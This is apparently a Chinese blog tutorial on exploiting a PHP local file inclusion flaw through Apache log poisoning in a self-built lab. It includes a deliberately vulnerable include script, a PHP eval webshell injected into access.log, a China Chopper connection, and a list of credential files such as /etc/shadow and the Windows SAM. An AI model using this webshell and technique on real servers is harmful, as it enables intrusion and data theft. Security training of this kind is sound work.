文件包含漏洞-日志注入

一、文件包含漏洞

1.文件包含概述

  文件包含漏洞是 Web 应用程序中的一种常见漏洞。当应用程序允许用户控制包含在页面上的文件时,攻击者就可以利用这一点来包含恶意文件。这种恶意文件可能包含执行恶意代码,导致各种攻击,如代码执行、数据泄露或其他未授权的行为。

2.文件包含类型

  本地文件包含(LFI):攻击者可以利用这个漏洞在服务器上包含本地文件。这意味着攻击者可以读取或执行服务器上的任何文件,只要他们有相应的权限。
  远程文件包含 (RFI):当应用程序不仅可以包含本地文件,还可以包含外部服务器上的文件时,这种情况会发生。这允许攻击者执行远程服务器上的代码。

二、文件包含-日志注入

1.日志注入概述

  日志注入是通过插入恶意数据到应用程序的日志文件来实施的攻击。当这些日志被其他系统或应用程序读取和解析时,攻击者的恶意数据可能会被执行。这通常利用了不安全的日志处理机制和文件包含漏洞的组合。

2.环境准备

  本次我使用是环境为:

linux-kali:burp suite 火狐插件FoxyProxy
windows10:搭建的为phpstuby的服务器环境 php-5.4.45 + Apache
工具:中国菜刀,中国蚁剑

因为日志注入跟系统环境有关
我是日志目录是自己设置的
下面列出常见的日志目录:

windows系统:

C:\boot.ini //查看系统版本
C:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件
C:\windows\repair\sam //存储Windows系统初次安装的密码
C:\ProgramFiles\mysql\my.ini //Mysql配置
C:\ProgramFiles\mysql\data\mysql\user.MYD //MySQL root密码
C:\windows\php.ini //php配置信息

Linux/Unix系统:

/etc/password //账户信息
/etc/shadow //账户密码信息
/usr/local/app/apache2/conf/httpd.conf //Apache2默认配置文件
/usr/local/app/apache2/conf/extra/httpd-vhost.conf //虚拟网站配置
/usr/local/app/php5/lib/php.ini //PHP相关配置
/etc/httpd/conf/httpd.conf //Apache配置文件
/etc/my.conf //mysql配置文件

3.配置环境

打开phpstudy,因为需要用到日志功能,部分环境默认日志功能关闭,我们将其开启。

在这里插入图片描述

打开后目录后,返回目录上一级,根据下面图片的方式找到日志文件,也就是access.log文件

在这里插入图片描述

根据目录找到启动日志功能的配置文件,httpd.conf文件

在这里插入图片描述

可以用记事本打开httpd.conf文件
根据日志文件名称搜索
找到##CustomLog “logs/access.log” common
将其"##"删除,代码不再被注释,即启用日志功能。

在这里插入图片描述

然后保存并重启服务器环境,即重启phpstudy,日志功能便启用了。

4.模拟网站环境

搭建网站的文件包含漏洞,在phpstudy的网站www根目录下写下一个新的php文件,可以取名为1.php

<?php 
$filename=$_GET[name];
include($filename);
 ?>
    <?php                        PHP 代码的开始标签。
    $filename=$_GET['name'];     从 URL 的查询参数中获取 name 的值并将其赋给 $filename 变量。例如,如果你的 URL 是 http://example.com/script.php?name=about.php,那么 $filename 将会被赋值为 about.php。
    include($filename);          使用 PHP 的 include 函数来包含并执行 $filename 指定的文件。
    ?>                            PHP 代码的结束标签。

这里网站的文件包含漏洞就设置好了

在这里插入图片描述

三、日志注入流程

使用我们的kali访问到ip地址下的1.php文件

在这里插入图片描述

注入一句话木马前,可以先尝试下是否可以利用文件包含漏洞。
如:我现在可以访问到靶机C盘的桌面txt文件,代表环境搭建成功。

在这里插入图片描述

那么开始日志注入,注意这里需要开启一个代理进行抓包,因为日志注入后会进行转义,需要将转义后的代码再改回来。
一句话木马:

<?php @eval($_POST['0907']);?>

在这里插入图片描述

可以看到代码进行了转义,将红色文字改回一句话木马,然后放包,放包完成后,记得取消代理,取消抓包。

<?php @eval($_POST['0907']);?>

在这里插入图片描述

放包完成后可以去access.log日志文件中查看是否成功,access.log在本文章的"配置环境"目录有找到它的方式。

下面被框起来的
第一条是被转义的日志文件(这是我之前测试的)
第二条是抓包修改后的文件
根据第二条可以发现日志注入成功

在这里插入图片描述

查看access.log日志文件的属性,获取文件位置。

在这里插入图片描述

访问日志位置,记得加上文件名

在这里插入图片描述

通过中国菜刀连接刚刚的地址(位置)

在这里插入图片描述

成功

在这里插入图片描述

如有不详或错误,敬请指出。

  • 12
    点赞
  • 11
    收藏
    觉得还不错? 一键收藏
  • 8
    评论
anylog 是一个可以在代码的任意区域无入侵地加入日志的工具,适用于线上问题排查。 anylog 为开发人员提供一个易于使用的平台,帮助开发人员在正在运行的系统中随时加入自己想要的日志,而免于修改代码和重启。 使用场景举例     1、一些同学在写代码时,把异常吃掉了,使得问题难以查找,可以使用这个工具,动态打印出被吃掉         的异常,而不用停机。     2、一些项目依赖第三方jar包,如果发生问题,但第三方包中无日志打印,以往可能需要重新编译第         三方包,加上日志,重启服务,然后排查问题。但使用这个工具,就可以直接动态加入日志,而不用         修改第三方jar包,也不用重启。 已有功能     1、让系统打印某个exception的堆栈,无论此exception是否已经被吃掉都可打印     2、在某个指定类的某个方法的某一行,输出日志。     3、在某个指定类的某个方法的开始,输出日志。     4、在某个指定类的某个方法的结束,输出日志。       5、打印方法耗时,支持方法嵌套。     如果需要扩展新的功能(例如输出jvm的cpu占用,内存大小等),只需要实现spi中的     com.github.jobop.anylog.spi.TransformDescriptor      和com.github.jobop.anylog.spi.TransformHandler接口,     然后把实现的jar包放到providers目录中即可识别。 使用方法     1、获取运行程序:         1)可以到以下地址获取正式发行版:https://github.com/jobop/release/tree/master/anylog         2)你也可以clone下源码后,执行如下命令,生成运行程序,生成的运行程序将在dist目录下             生成windows版本:  mvn install             生成linux版本:  mvn install -Plinux     2、直接执行startup.bat或者startup.sh即可运行起来     3、访问 http://127.0.0.1:52808 即可使用 功能扩展     anylog利用spi机制实现其扩展,如果你想要对anylog增加新的功能(例如添加返回值打印的功能)可以按照如下步骤操作:     1、使用如下命令,生成一个spi实现工程,并导入eclipse     mvn archetype:generate -DarchetypeGroupId=com.github.jobop -DarchetypeArtifactId=anylogspi-archetype -DarchetypeVersion=1.0.4     2、参照该工程中已有的两个例子(一个是在方法开始插入日志,一个是在方法结束插入日志),实现TransformDescriptor和TransformHandler接口     3、把两个接口实现类的全路径,分别加到以下两个文件中         src/main/resources/META-INF/services/com.github.jobop.anylog.spi.TransformDescriptor         src/main/resources/META-INF/services/com.github.jobop.anylog.spi.TransformHandler     4、执行mvn install打包,在dist下会生成你的扩展实现jar。     5、把扩展实现jar拷贝到anylog的providers目录下,重启即可生效。     tips:在实现spi时,我们提供了SpiDesc注解,该注解作用在你实现的TransformDescriptor上,可以用来生成功能描述文字。          如果要深入了解spi机制,请自行google:java spi 标签:anylog

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 8
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值